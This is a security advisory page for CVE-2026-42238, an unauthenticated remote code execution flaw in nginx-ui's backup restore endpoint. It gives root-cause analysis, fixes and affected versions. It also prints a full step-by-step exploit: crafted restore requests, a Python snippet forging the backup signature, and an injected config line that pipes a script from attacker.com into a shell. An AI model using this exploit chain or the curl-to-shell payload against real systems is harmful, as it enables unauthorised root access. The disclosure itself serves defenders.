CVE-2026-42238: Unauthenticated Remote Code Execution via Backup Restore in nginx-ui

Published May 4, 2026
·
Updated

Product: nginx-ui Repository: 0xJacky/nginx-ui (branch: dev) Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection Affected Component: POST /api/restore

---

1. Vulnerability Summary

nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments.

The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).

---

2. Root Cause Analysis

2.1 The Restore Route Is Registered Without Authentication

backup.InitRouter is called on the root group, which carries only IPWhiteList() middleware — no AuthRequired(): 1

The route definition: 2

2.2 The authIfInstalled Guard Has a Time-Bounded Bypass

The only authentication guard on the restore route is authIfInstalled: 3

It calls AuthRequired() only when InstallLockStatus() || IsInstallTimeoutExceeded() is true. Both conditions are false on a fresh install within the first 10 minutes: 4

- InstallLockStatus() returns false because JwtSecret is "" on a fresh install and SkipInstallation defaults to false. - IsInstallTimeoutExceeded() returns false for the first 10 minutes after startupTime is set in init().

When both are false, authIfInstalled calls ctx.Next() with zero authentication.

2.3 The EncryptedForm Middleware Is Not a Security Barrier

The EncryptedForm() middleware between authIfInstalled and RestoreBackup is optional — it only activates if the request includes an encryptedparams field. If that field is absent, it calls c.Next() immediately: 5

An attacker sends a plain multipart/form-data request without encryptedparams and the middleware is a no-op.

2.4 The Attacker Controls the AES Key Used to Verify the Backup

The restore handler accepts the AES key and IV directly from the attacker via the securitytoken form field: 6

The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7

Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.

2.5 Restore Overwrites app.ini and the SQLite Database Unconditionally

When restorenginxui=true, restoreNginxUIConfig directly copies files from the backup onto disk with no content validation: 8

2.6 Restored TestConfigCmd Is Executed as a Shell Command

After restore, risefront.Restart() is called, reloading app.ini: 9

On the next call to TestConfig(), the value of TestConfigCmd from the restored app.ini is passed verbatim to /bin/sh -c: 10 11

---

3. Attack Prerequisites

| Requirement | Notes | |---|---| | Network access to nginx-ui port | Default: 9000/tcp | | Target is a fresh install | JwtSecret is empty in app.ini | | Within 10 minutes of last process start | Window resets on every restart | | IP not blocked by IPWhiteList | Default config has no IP whitelist |

The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets startupTime via init(), reopening the window.

---

4. Step-by-Step Proof of Concept

Step 1 — Confirm the installation window is open

http GET /api/install HTTP/1.1 Host: target:9000

Expected response confirming vulnerability: json {"lock": false, "timeout": false}

Step 2 — Craft the malicious backup

The backup format (derived from internal/backup/backup.go) is:

backup-TIMESTAMP.zip ← outer ZIP (unencrypted) ├── manifest.json ← JSON manifest ├── manifest.sig ← HMAC-SHA256 of manifest.json ├── nginx-ui.zip ← AES-CBC encrypted inner ZIP └── nginx.zip ← AES-CBC encrypted inner ZIP

2a. Generate a random 32-byte AES key and 16-byte IV.

2b. Create the malicious app.ini to place inside nginx-ui.zip:

ini [app] JwtSecret = attackerchosenjwtsecret32chars

[node] Secret = attackerchosennodesecret

[nginx] TestConfigCmd = curl http://attacker.com/shell.sh|sh

2c. Create a SQLite database (nginx-ui.db) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).

2d. Package app.ini and nginx-ui.db into nginx-ui.zip. Package an empty or minimal nginx.zip.

2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.

2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build manifest.json:

json { "schema": 1, "createdat": "20260421-120000", "version": "2.0.0", "files": [ {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>}, {"name": "nginx.zip", "sha256": "<hash>", "size": <size>} ] }

2g. Compute the HMAC-SHA256 signature of manifest.json using the signing key derived as:

python import hashlib, hmac context = b"nginx-ui-backup-signing-v1:" signingkey = hashlib.sha256(context + aeskey).digest() sig = hmac.new(signingkey, manifestbytes, hashlib.sha256).hexdigest()

2h. Assemble the outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.

Step 3 — Upload the malicious backup (no authentication required)

http POST /api/restore HTTP/1.1 Host: target:9000 Content-Type: multipart/form-data; boundary=----Boundary

------Boundary Content-Disposition: form-data; name="backupfile"; filename="evil.zip" Content-Type: application/zip

[crafted backup bytes] ------Boundary Content-Disposition: form-data; name="securitytoken"

<base64(aeskey)>:<base64(aesiv)> ------Boundary Content-Disposition: form-data; name="restorenginxui"

true ------Boundary--

Expected response (HTTP 200): json {"nginxuirestored": true, "nginxrestored": false, "hashmatch": true}

nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.

Step 4 — Trigger RCE using the restored node secret

After the restart (wait ~3 seconds):

http POST /api/nginx/test HTTP/1.1 Host: target:9000 X-Node-Secret: attackerchosennodesecret

nginx-ui executes: sh /bin/sh -c "curl http://attacker.com/shell.sh|sh"

The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).

---

5. Impact

- Confidentiality: Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in app.ini. - Integrity: Arbitrary modification of all nginx configurations and nginx-ui application state. - Availability: Complete denial of service; nginx and nginx-ui can be stopped or misconfigured. - Scope: OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.

---

6. Affected Versions

All versions of nginx-ui where authIfInstalled is used as the sole authentication guard on POST /api/restore. The vulnerability is present in the current dev branch.

---

7. Recommended Fix

Primary fix — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive:

go // api/backup/router.go func InitRouter(r gin.RouterGroup) { r.GET("/backup", middleware.AuthRequired(), CreateBackup) r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup) }

If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.

Secondary fix — Validate the content of restored app.ini before writing it to disk. Specifically, TestConfigCmd, ReloadCmd, and RestartCmd should be rejected or stripped from any externally-supplied backup.

---

8. Timeline

| Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) |

Citations

File: router/routers.go (L61-70) go root := r.Group("/api", middleware.IPWhiteList()) { public.InitRouter(root) crypto.InitPublicRouter(root) user.InitAuthRouter(root) license.InitRouter(root)

system.InitPublicRouter(root) system.InitSelfCheckRouter(root) backup.InitRouter(root)

File: api/backup/router.go (L9-16) go // authIfInstalled requires auth if system is installed func authIfInstalled(ctx gin.Context) { if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() { middleware.AuthRequired()(ctx) } else { ctx.Next() } }

File: api/backup/router.go (L18-25) go func InitRouter(r gin.RouterGroup) { // Backup always requires authentication (contains sensitive data) r.GET("/backup", middleware.AuthRequired(), CreateBackup)

// Restore requires auth only after installation // This allows restoring backup during initial setup r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup) }

File: api/system/install.go (L27-34) go func InstallLockStatus() bool { return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != "" }

// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded func IsInstallTimeoutExceeded() bool { return time.Since(startupTime) > 10time.Minute }

File: internal/middleware/encryptedparams.go (L69-75) go // Check if encryptedparams field exists encryptedParams := c.Request.FormValue("encryptedparams") if encryptedParams == "" { // No encryption, continue normally c.Next() return }

File: api/backup/restore.go (L35-70) go securityToken := c.PostForm("securitytoken") // Get concatenated key and IV // Get backup file backupFile, err := c.FormFile("backupfile") if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error())) return }

// Validate security token if securityToken == "" { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return }

// Split security token to get Key and IV parts := strings.Split(securityToken, ":") if len(parts) != 2 { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return }

aesKey := parts[0] aesIv := parts[1]

// Decode Key and IV from base64 key, err := base64.StdEncoding.DecodeString(aesKey) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error())) return }

iv, err := base64.StdEncoding.DecodeString(aesIv) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error())) return }

File: api/backup/restore.go (L126-132) go if restoreNginxUI { go func() { time.Sleep(2 time.Second) // gracefully restart risefront.Restart() }() }

File: internal/backup/manifest.go (L156-163) go func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) { if len(aesKey) == 0 { return nil, ErrInvalidAESKey }

sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...)) return sum[:], nil }

File: internal/backup/restore.go (L458-484) go // restoreNginxUIConfig restores nginx-ui configuration files func restoreNginxUIConfig(nginxUIBackupDir string) error { // Get config directory configDir := filepath.Dir(cosysettings.ConfPath) if configDir == "" { return ErrConfigPathEmpty }

// Restore app.ini to the configured location srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini") if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil { return err }

// Restore database file if exists dbName := settings.DatabaseSettings.GetName() srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db") destDBPath := filepath.Join(configDir, dbName+".db")

// Only attempt to copy if database file exists in backup if , err := os.Stat(srcDBPath); err == nil { if err := copyFile(srcDBPath, destDBPath); err != nil { return err } }

return nil

File: internal/nginx/nginx.go (L25-36) go func TestConfig() (stdOut string, stdErr error) { mutex.Lock() defer mutex.Unlock() if settings.NginxSettings.TestConfigCmd != "" { return execShell(settings.NginxSettings.TestConfigCmd) } sbin := GetSbinPath() if sbin == "" { return execCommand("nginx", "-t") } return execCommand(sbin, "-t") }

File: internal/nginx/exec.go (L12-28) go func execShell(cmd string) (stdOut string, stdErr error) { var execCmd exec.Cmd

if runtime.GOOS == "windows" { execCmd = exec.Command("cmd", "/c", cmd) } else { execCmd = exec.Command("/bin/sh", "-c", cmd) }

execCmd.Dir = GetNginxExeDir() bytes, err := execCmd.CombinedOutput() stdOut = string(bytes) if err != nil { stdErr = err } return }

Other sources

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.8, nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments. This issue has been patched in version 2.3.8.

MITRE

Affected Software

3 affected componentsFixes available
nginx-ui Nginx UI<2.3.8
NginxUI Nginx UI<2.3.8
go/github.com/0xJacky/nginx-ui<2.3.8
2.3.8

Event History

May 4, 2026
CVE Published
via MITRE·08:13 PM
Data Sourced
via MITRE·08:13 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
May 6, 2026
Advisory Published
via GitHub·05:03 PM
Data Sourced
via GitHub·05:03 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-42238?

CVE-2026-42238 is classified as a high severity vulnerability due to its potential for unauthenticated remote code execution.

2

How do I fix CVE-2026-42238?

To fix CVE-2026-42238, upgrade nginx-ui to version 2.3.8 or later.

3

What specifically does CVE-2026-42238 affect?

CVE-2026-42238 affects nginx-ui versions prior to 2.3.8 by exposing an unauthenticated backup restore endpoint.

4

When is the backup restore endpoint vulnerable in CVE-2026-42238?

The backup restore endpoint is vulnerable during the first 10 minutes after the nginx-ui process startup.

5

Can CVE-2026-42238 be exploited remotely?

Yes, CVE-2026-42238 can be exploited remotely due to its unauthenticated nature.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203